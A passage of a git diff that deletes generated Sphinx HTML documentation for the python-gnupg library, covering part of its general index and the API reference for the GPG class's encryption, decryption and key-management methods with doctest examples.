valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.nodata">nodata() (in module gnupg._parsers)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="O">O</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.Crypt.ok">ok (Crypt attribute)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="P">P</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.DeleteResult.problem_reason">problem_reason (DeleteResult attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.progress">progress() (in module gnupg._parsers)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ProtectedOption">ProtectedOption</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.ListKeys.pub">pub() (ListKeys method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.pubkey_fingerprint">pubkey_fingerprint (Verify attribute)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="R">R</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg.GPG.recv_keys">recv_keys() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ImportResult.results">results (ImportResult attribute)</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt> - RFC - </dt> - - <dd><dl> - - <dt><a href="gnupg.html#index-0">RFC 1991</a> - </dt> - - </dl></dd> - </dl></td> -</tr></table> - -<h2 id="S">S</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.ListKeys.sec">sec() (ListKeys method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.GenKey.secring">secring (GenKey attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Sign.sig_algo">sig_algo (Sign attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Sign.sig_hash_also">sig_hash_also (Sign attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.sig_timestamp">sig_timestamp (Verify attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Sign.sig_type">sig_type (Sign attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Sign">Sign (class in gnupg._parsers)</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg.GPG.sign">sign() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.signature_id">signature_id (Verify attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Crypt.status">status (Crypt attribute)</a> - </dt> - - <dd><dl> - - <dt><a href="gnupg.html#gnupg._parsers.ListPackets.status">(ListPackets attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.status">(Verify attribute)</a> - </dt> - - </dl></dd> - - <dt><a href="gnupg.html#gnupg._util.Storage">Storage (class in gnupg._util)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ListKeys.sub">sub() (ListKeys method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.ImportResult.summary">summary() (ImportResult method)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="T">T</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.Sign.timestamp">timestamp (Sign attribute)</a> - </dt> - - <dd><dl> - - <dt><a href="gnupg.html#gnupg._parsers.Verify.timestamp">(Verify attribute)</a> - </dt> - - </dl></dd> - - <dt><a href="gnupg.html#gnupg._parsers.Verify.TRUST_FULLY">TRUST_FULLY (Verify attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.trust_level">trust_level (Verify attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.TRUST_LEVELS">TRUST_LEVELS (Verify attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.TRUST_MARGINAL">TRUST_MARGINAL (Verify attribute)</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.Verify.TRUST_NEVER">TRUST_NEVER (Verify attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.trust_text">trust_text (Verify attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.TRUST_ULTIMATE">TRUST_ULTIMATE (Verify attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.TRUST_UNDEFINED">TRUST_UNDEFINED (Verify attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.GenKey.type">type (GenKey attribute)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="U">U</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.ListKeys.uid">uid() (ListKeys method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.UsageError">UsageError</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.ListPackets.userid_hint">userid_hint (ListPackets attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify.username">username (Verify attribute)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="V">V</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.Verify.valid">valid (Verify attribute)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg._parsers.Verify">Verify (class in gnupg._parsers)</a> - </dt> - - </dl></td> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg.GPG.verify">verify() (GPG method)</a> - </dt> - - - <dt><a href="gnupg.html#gnupg.GPG.verify_file">verify_file() (GPG method)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="W">W</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.Sign.what">what (Sign attribute)</a> - </dt> - - </dl></td> -</tr></table> - -<h2 id="X">X</h2> -<table style="width: 100%" class="indextable genindextable"><tr> - <td style="width: 33%" valign="top"><dl> - - <dt><a href="gnupg.html#gnupg._parsers.ImportResult.x">x (ImportResult attribute)</a> - </dt> - - </dl></td> -</tr></table> - - - - </div> - </div> - </div> - </div> - <div class="sidebar"> - <h3>Table Of Contents</h3> - <ul> -<li class="toctree-l1"><a class="reference internal" href="gnupg.html">gnupg package</a></li> -</ul> - - <h3 style="margin-top: 1.5em;">Search</h3> - <form class="search" action="search.html" method="get"> - <input type="text" name="q" /> - <input type="submit" value="Go" /> - <input type="hidden" name="check_keywords" value="yes" /> - <input type="hidden" name="area" value="default" /> - </form> - <p class="searchtip" style="font-size: 90%"> - Enter search terms or a module, class or function name. - </p> - </div> - <div class="clearer"></div> - </div> - </div> - - <div class="footer-wrapper"> - <div class="footer"> - <div class="left"> - <a href="py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="#" title="General Index" - >index</a> - </div> - - <div class="right"> - - <div class="footer"> - © Copyright 2013-2014, Isis Agora Lovecruft. - Last updated on Saturday, 02 August 2014. - Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.2.2. - </div> - </div> - <div class="clearer"></div> - </div> - </div> - - </body> -</html>
\ No newline at end of file diff --git a/docs/_build/html/gnupg.html b/docs/_build/html/gnupg.html deleted file mode 100644 index 63e8513..0000000 --- a/docs/_build/html/gnupg.html +++ /dev/null @@ -1,2721 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" - "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> - - -<html xmlns="http://www.w3.org/1999/xhtml"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> - - <title>gnupg package — gnupg unknown documentation</title> - - <link rel="stylesheet" href="_static/agogo.css" type="text/css" /> - <link rel="stylesheet" href="_static/pygments.css" type="text/css" /> - - <script type="text/javascript"> - var DOCUMENTATION_OPTIONS = { - URL_ROOT: './', - VERSION: 'unknown', - COLLAPSE_INDEX: false, - FILE_SUFFIX: '.html', - HAS_SOURCE: true - }; - </script> - <script type="text/javascript" src="_static/jquery.js"></script> - <script type="text/javascript" src="_static/underscore.js"></script> - <script type="text/javascript" src="_static/doctools.js"></script> - <link rel="top" title="gnupg unknown documentation" href="index.html" /> - <link rel="prev" title="gnupg: Python Package Documentation" href="index.html" /> - </head> - <body> - <div class="header-wrapper"> - <div class="header"> - <div class="headertitle"><a - href="index.html">gnupg: Python Module Documentation</a></div> - <div class="rel"> - <a href="index.html" title="gnupg: Python Package Documentation" - accesskey="P">previous</a> | - <a href="py-modindex.html" title="Python Module Index" - >modules</a> | - <a href="genindex.html" title="General Index" - accesskey="I">index</a> - </div> - </div> - </div> - - <div class="content-wrapper"> - <div class="content"> - <div class="document"> - - <div class="documentwrapper"> - <div class="bodywrapper"> - <div class="body"> - - <div class="section" id="gnupg-package"> -<h1>gnupg package<a class="headerlink" href="#gnupg-package" title="Permalink to this headline">¶</a></h1> -<div class="section" id="gnupg-module"> -<h2>gnupg module<a class="headerlink" href="#gnupg-module" title="Permalink to this headline">¶</a></h2> -<p>This module contains public classes for working with <a class="reference external" href="http://gnupg.org">GnuPG</a>. To get started, -do:</p> -<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="kn">import</span> <span class="nn">gnupg</span> -<span class="gp">>>> </span><span class="n">gpg</span> <span class="o">=</span> <span class="n">gnupg</span><span class="o">.</span><span class="n">GPG</span><span class="p">()</span> -</pre></div> -</div> -<span class="target" id="module-gnupg"></span><dl class="class"> -<dt id="gnupg.GPG"> -<em class="property">class </em><tt class="descname">GPG</tt><big>(</big><em>binary=None</em>, <em>homedir=None</em>, <em>verbose=False</em>, <em>use_agent=False</em>, <em>keyring=None</em>, <em>secring=None</em>, <em>options=None</em><big>)</big><a class="headerlink" href="#gnupg.GPG" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <a class="reference internal" href="#gnupg._meta.GPGBase" title="gnupg._meta.GPGBase"><tt class="xref py py-class docutils literal"><span class="pre">gnupg._meta.GPGBase</span></tt></a></p> -<p>Python interface for handling interactions with GnuPG, including keyfile -generation, keyring maintainance, import and export, encryption and -decryption, sending to and recieving from keyservers, and signing and -verification.</p> -<p>Initialize a GnuPG process wrapper.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first simple"> -<li><strong>binary</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – Name for GnuPG binary executable. If the absolute -path is not given, the environment variable -<tt class="docutils literal"><span class="pre">$PATH</span></tt> is searched for the executable and -checked that the real uid/gid of the user has -sufficient permissions.</li> -<li><strong>homedir</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – Full pathname to directory containing the public -and private keyrings. Default is whatever GnuPG -defaults to.</li> -<li><strong>verbose</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">str</span></tt></a> or <a class="reference external" href="http://docs.python.org/library/functions.html#int" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">int</span></tt></a> or <a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">bool</span></tt></a>) – String or numeric value to pass to GnuPG’s -<tt class="docutils literal"><span class="pre">--debug-level</span></tt> option. See the GnuPG man page for -the list of valid options. If False, debug output is -not generated by the GnuPG binary. If True, defaults -to <tt class="docutils literal"><span class="pre">--debug-level</span> <span class="pre">basic.</span></tt></li> -<li><strong>keyring</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – Name of keyring file containing public key data. -If unspecified, defaults to <tt class="file docutils literal"><span class="pre">pubring.gpg</span></tt> in -the <strong>homedir</strong> directory.</li> -<li><strong>secring</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – Name of alternative secret keyring file to use. If -left unspecified, this will default to using -<tt class="file docutils literal"><span class="pre">secring.gpg</span></tt> in the <strong>homedir</strong> directory, -and create that file if it does not exist.</li> -<li><strong>options</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#list" title="(in Python v2.7)"><em>list</em></a>) – A list of additional options to pass to the GnuPG -binary.</li> -</ul> -</td> -</tr> -<tr class="field-even field"><th class="field-name">Raises:</th><td class="field-body"><p class="first last">A <a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.RuntimeError" title="(in Python v2.7)"><tt class="xref py py-exc docutils literal"><span class="pre">RuntimeError</span></tt></a> with explanation message -if there is a problem invoking GnuPG.</p> -</td> -</tr> -</tbody> -</table> -<p>Example:</p> -<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="kn">import</span> <span class="nn">gnupg</span> -<span class="go">GnuPG logging disabled...</span> -<span class="gp">>>> </span><span class="n">gpg</span> <span class="o">=</span> <span class="n">gnupg</span><span class="o">.</span><span class="n">GPG</span><span class="p">(</span><span class="n">homedir</span><span class="o">=</span><span class="s">'doctests'</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">gpg</span><span class="o">.</span><span class="n">keyring</span> -<span class="go">'./doctests/pubring.gpg'</span> -<span class="gp">>>> </span><span class="n">gpg</span><span class="o">.</span><span class="n">secring</span> -<span class="go">'./doctests/secring.gpg'</span> -<span class="gp">>>> </span><span class="n">gpg</span><span class="o">.</span><span class="n">use_agent</span> -<span class="go">False</span> -<span class="gp">>>> </span><span class="n">gpg</span><span class="o">.</span><span class="n">binary</span> -<span class="go">'/usr/bin/gpg'</span> -</pre></div> -</div> -<dl class="attribute"> -<dt id="gnupg.GPG._batch_limit"> -<tt class="descname">_batch_limit</tt><em class="property"> = 25</em><a class="headerlink" href="#gnupg.GPG._batch_limit" title="Permalink to this definition">¶</a></dt> -<dd></dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG._create_trustdb"> -<tt class="descname">_create_trustdb</tt><big>(</big><big>)</big><a class="headerlink" href="#gnupg.GPG._create_trustdb" title="Permalink to this definition">¶</a></dt> -<dd><p>Create the trustdb file in our homedir, if it doesn’t exist.</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG._export_ownertrust"> -<tt class="descname">_export_ownertrust</tt><big>(</big><em>trustdb=None</em><big>)</big><a class="headerlink" href="#gnupg.GPG._export_ownertrust" title="Permalink to this definition">¶</a></dt> -<dd><p>Export ownertrust to a trustdb file.</p> -<p>If there is already a file named <tt class="file docutils literal"><span class="pre">trustdb.gpg</span></tt> in the current GnuPG -homedir, it will be renamed to <tt class="file docutils literal"><span class="pre">trustdb.gpg.bak</span></tt>.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>trustdb</strong> (<a class="reference external" href="http://docs.python.org/library/string.html#module-string" title="(in Python v2.7)"><em>string</em></a>) – The path to the trustdb.gpg file. If not given, -defaults to <tt class="docutils literal"><span class="pre">'trustdb.gpg'</span></tt> in the current GnuPG -homedir.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG._fix_trustdb"> -<tt class="descname">_fix_trustdb</tt><big>(</big><em>trustdb=None</em><big>)</big><a class="headerlink" href="#gnupg.GPG._fix_trustdb" title="Permalink to this definition">¶</a></dt> -<dd><p>Attempt to repair a broken trustdb.gpg file.</p> -<p>GnuPG>=2.0.x has this magical-seeming flag: <cite>–fix-trustdb</cite>. You’d think -it would fix the the trustdb. Hah! It doesn’t. Here’s what it does -instead:</p> -<div class="highlight-python"><div class="highlight"><pre>(gpg)~/code/python-gnupg $ gpg2 --fix-trustdb -gpg: You may try to re-create the trustdb using the commands: -gpg: cd ~/.gnupg -gpg: gpg2 --export-ownertrust > otrust.tmp -gpg: rm trustdb.gpg -gpg: gpg2 --import-ownertrust < otrust.tmp -gpg: If that does not work, please consult the manual -</pre></div> -</div> -<p>Brilliant piece of software engineering right there.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>trustdb</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The path to the trustdb.gpg file. If not given, -defaults to <tt class="file docutils literal"><span class="pre">trustdb.gpg</span></tt> in the current GnuPG -homedir.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG._import_ownertrust"> -<tt class="descname">_import_ownertrust</tt><big>(</big><em>trustdb=None</em><big>)</big><a class="headerlink" href="#gnupg.GPG._import_ownertrust" title="Permalink to this definition">¶</a></dt> -<dd><p>Import ownertrust from a trustdb file.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>trustdb</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The path to the trustdb.gpg file. If not given, -defaults to <tt class="file docutils literal"><span class="pre">trustdb.gpg</span></tt> in the current GnuPG -homedir.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.decrypt"> -<tt class="descname">decrypt</tt><big>(</big><em>message</em>, <em>**kwargs</em><big>)</big><a class="headerlink" href="#gnupg.GPG.decrypt" title="Permalink to this definition">¶</a></dt> -<dd><p>Decrypt the contents of a string or file-like object <tt class="docutils literal"><span class="pre">message</span></tt>.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>message</strong> (file or str or <a class="reference external" href="http://docs.python.org/library/io.html#io.BytesIO" title="(in Python v2.7)"><tt class="xref py py-class docutils literal"><span class="pre">io.BytesIO</span></tt></a>) – A string or file-like object to decrypt.</li> -<li><strong>always_trust</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – Instruct GnuPG to ignore trust checks.</li> -<li><strong>passphrase</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The passphrase for the secret key used for decryption.</li> -<li><strong>output</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – A filename to write the decrypted output to.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.decrypt_file"> -<tt class="descname">decrypt_file</tt><big>(</big><em>filename</em>, <em>always_trust=False</em>, <em>passphrase=None</em>, <em>output=None</em><big>)</big><a class="headerlink" href="#gnupg.GPG.decrypt_file" title="Permalink to this definition">¶</a></dt> -<dd><p>Decrypt the contents of a file-like object <tt class="docutils literal"><span class="pre">filename</span></tt> .</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>filename</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – A file-like object to decrypt.</li> -<li><strong>always_trust</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – Instruct GnuPG to ignore trust checks.</li> -<li><strong>passphrase</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The passphrase for the secret key used for decryption.</li> -<li><strong>output</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – A filename to write the decrypted output to.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.delete_keys"> -<tt class="descname">delete_keys</tt><big>(</big><em>fingerprints</em>, <em>secret=False</em>, <em>subkeys=False</em><big>)</big><a class="headerlink" href="#gnupg.GPG.delete_keys" title="Permalink to this definition">¶</a></dt> -<dd><p>Delete a key, or list of keys, from the current keyring.</p> -<p>The keys must be referred to by their full fingerprints for GnuPG to -delete them. If <tt class="docutils literal"><span class="pre">secret=True</span></tt>, the corresponding secret keyring will -be deleted from <a class="reference internal" href="#gnupg._parsers.GenKey.secring" title="gnupg._parsers.GenKey.secring"><tt class="xref py py-obj docutils literal"><span class="pre">secring</span></tt></a>.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>fingerprints</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">str</span></tt></a> or <a class="reference external" href="http://docs.python.org/library/functions.html#list" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">list</span></tt></a> or <a class="reference external" href="http://docs.python.org/library/functions.html#tuple" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">tuple</span></tt></a>) – A string, or a list/tuple of strings, -representing the fingerprint(s) for the key(s) -to delete.</li> -<li><strong>secret</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, delete the corresponding secret key(s) -also. (default: False)</li> -<li><strong>subkeys</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, delete the secret subkey first, then the -public key. (default: False) Same as: -<strong class="command">$gpg –delete-secret-and-public-key 0x12345678</strong>.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.encrypt"> -<tt class="descname">encrypt</tt><big>(</big><em>data</em>, <em>*recipients</em>, <em>**kwargs</em><big>)</big><a class="headerlink" href="#gnupg.GPG.encrypt" title="Permalink to this definition">¶</a></dt> -<dd><p>Encrypt the message contained in <tt class="docutils literal"><span class="pre">data</span></tt> to <tt class="docutils literal"><span class="pre">recipients</span></tt>.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>data</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The file or bytestream to encrypt.</li> -<li><strong>recipients</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The recipients to encrypt to. Recipients must -be specified keyID/fingerprint. Care should be taken in Python2.x -to make sure that the given fingerprint is in fact a string and -not a unicode object.</li> -<li><strong>default_key</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The keyID/fingerprint of the key to use for -signing. If given, <tt class="docutils literal"><span class="pre">data</span></tt> will be encrypted and signed.</li> -<li><strong>passphrase</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – If given, and <tt class="docutils literal"><span class="pre">default_key</span></tt> is also given, -use this passphrase to unlock the secret portion of the -<tt class="docutils literal"><span class="pre">default_key</span></tt> to sign the encrypted <tt class="docutils literal"><span class="pre">data</span></tt>. Otherwise, if -<tt class="docutils literal"><span class="pre">default_key</span></tt> is not given, but <tt class="docutils literal"><span class="pre">symmetric=True</span></tt>, then use -this passphrase as the passphrase for symmetric -encryption. Signing and symmetric encryption should <em>not</em> be -combined when sending the <tt class="docutils literal"><span class="pre">data</span></tt> to other recipients, else the -passphrase to the secret key would be shared with them.</li> -<li><strong>armor</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, ascii armor the output; otherwise, the -output will be in binary format. (Default: True)</li> -<li><strong>encrypt</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, encrypt the <tt class="docutils literal"><span class="pre">data</span></tt> using the -<tt class="docutils literal"><span class="pre">recipients</span></tt> public keys. (Default: True)</li> -<li><strong>symmetric</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, encrypt the <tt class="docutils literal"><span class="pre">data</span></tt> to <tt class="docutils literal"><span class="pre">recipients</span></tt> -using a symmetric key. See the <tt class="docutils literal"><span class="pre">passphrase</span></tt> parameter. Symmetric -encryption and public key encryption can be used simultaneously, -and will result in a ciphertext which is decryptable with either -the symmetric <tt class="docutils literal"><span class="pre">passphrase</span></tt> or one of the corresponding private -keys.</li> -<li><strong>always_trust</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, ignore trust warnings on recipient -keys. If False, display trust warnings. (default: True)</li> -<li><strong>output</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The output file to write to. If not specified, the -encrypted output is returned, and thus should be stored as an -object in Python. For example:</li> -</ul> -</td> -</tr> -</tbody> -</table> -<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="kn">import</span> <span class="nn">shutil</span> -<span class="gp">>>> </span><span class="kn">import</span> <span class="nn">gnupg</span> -<span class="gp">>>> </span><span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="s">"doctests"</span><span class="p">):</span> -<span class="gp">... </span> <span class="n">shutil</span><span class="o">.</span><span class="n">rmtree</span><span class="p">(</span><span class="s">"doctests"</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">gpg</span> <span class="o">=</span> <span class="n">gnupg</span><span class="o">.</span><span class="n">GPG</span><span class="p">(</span><span class="n">homedir</span><span class="o">=</span><span class="s">"doctests"</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">key_settings</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key_input</span><span class="p">(</span><span class="n">key_type</span><span class="o">=</span><span class="s">'RSA'</span><span class="p">,</span> -<span class="gp">... </span> <span class="n">key_length</span><span class="o">=</span><span class="mi">1024</span><span class="p">,</span> -<span class="gp">... </span> <span class="n">key_usage</span><span class="o">=</span><span class="s">'ESCA'</span><span class="p">,</span> -<span class="gp">... </span> <span class="n">passphrase</span><span class="o">=</span><span class="s">'foo'</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">key</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key</span><span class="p">(</span><span class="n">key_settings</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">message</span> <span class="o">=</span> <span class="s">"The crow flies at midnight."</span> -<span class="gp">>>> </span><span class="n">encrypted</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">gpg</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">key</span><span class="o">.</span><span class="n">printprint</span><span class="p">))</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">encrypted</span> <span class="o">!=</span> <span class="n">message</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="ow">not</span> <span class="n">encrypted</span><span class="o">.</span><span class="n">isspace</span><span class="p">()</span> -<span class="gp">>>> </span><span class="n">decrypted</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">gpg</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">encrypted</span><span class="p">))</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="ow">not</span> <span class="n">decrypted</span><span class="o">.</span><span class="n">isspace</span><span class="p">()</span> -<span class="gp">>>> </span><span class="n">decrypted</span> -<span class="go">'The crow flies at midnight.'</span> -</pre></div> -</div> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>cipher_algo</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The cipher algorithm to use. To see available -algorithms with your version of GnuPG, do: -<strong class="command">$ gpg –with-colons –list-config ciphername</strong>. -The default <tt class="docutils literal"><span class="pre">cipher_algo</span></tt>, if unspecified, is <tt class="docutils literal"><span class="pre">'AES256'</span></tt>.</li> -<li><strong>digest_algo</strong> (<a class="reference external" 